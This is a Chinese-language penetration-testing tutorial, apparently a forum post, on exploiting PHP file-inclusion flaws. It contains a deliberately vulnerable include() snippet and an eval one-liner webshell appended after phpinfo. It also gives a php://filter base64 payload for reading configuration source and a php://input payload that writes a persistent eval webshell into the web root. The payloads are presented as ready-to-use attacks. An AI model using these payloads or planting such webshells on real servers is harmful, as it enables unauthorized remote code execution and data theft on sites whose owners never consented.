有群友问过这样一个问题,, http:xxx/123.jpg 传上这样的图片马能不能连到shell?
这有几种情况,,,php解析吧jpg解析成php,iis吧jpg解析成php都可以 我们这里通过php伪协议+存在文件包含的页面做个复现
先写个include函数,include后面没做处理的
<?php
$file = $_GET['a'];
include "$file";
to 然后,,如果目录阶乘符不能用,url编码后无法绕过,尝试file协议
在我本地环境www目录下存在一个无类型的aa文件,这里往aa文件写入 phpinfo,可以看到include函数还是解析了出来 然后,很多人就奇怪了,天天写入phpinfo有啥用?又不能拿shell
这里我说一下,phpinfo它是php站点的配置文件,我们下一步渗透的攻击面很大程度从phpinfo过来,如果能写入phpinfo,大概率都能命令执行 比如跟在phpinfo后面写入一句话
<?php
phpinfo();
@eval($_POST['hacker']);
我们访问aa文件还是phpinfo页面,但一句话已经写入了,注意看小马的url
**file协议对 allow_url_fopen: off/on allow_url_include: off/on (均不受影响)。 在渗透中只要存在文件包含,就能读取文件,需要只要绝对路径 这不是初步的利用方式,可以通过filter协议读取配置文件源码,比如/admin/config allow_url_fopen: off/on allow_url_include: off/on (均不受影响)
这里注意,如果要用filter协议要转成base64,不然代码就当php代码执行,读取源码的目的就失效了 payload:php://filter/read=convert.base64-encode/resource=
最后一种,也是php伪协议的大杀器,,input//协议,,如果站点某个页面存在文件包含,,过滤不严,同时我们通过别的手段,比如phpinfo找到站点的绝对路径,allow_url_include是开启的,那么可以直接写入shell ?a=php://input POST提交下面的payload:
<?php fputs(fopen('O:\phpstudy\WWW\a.php','w'),'<?php @eval($_POST[a]);')?>
注意$_POST里面不要写单引号,不然和后面闭合了,fputs函数写入失败
|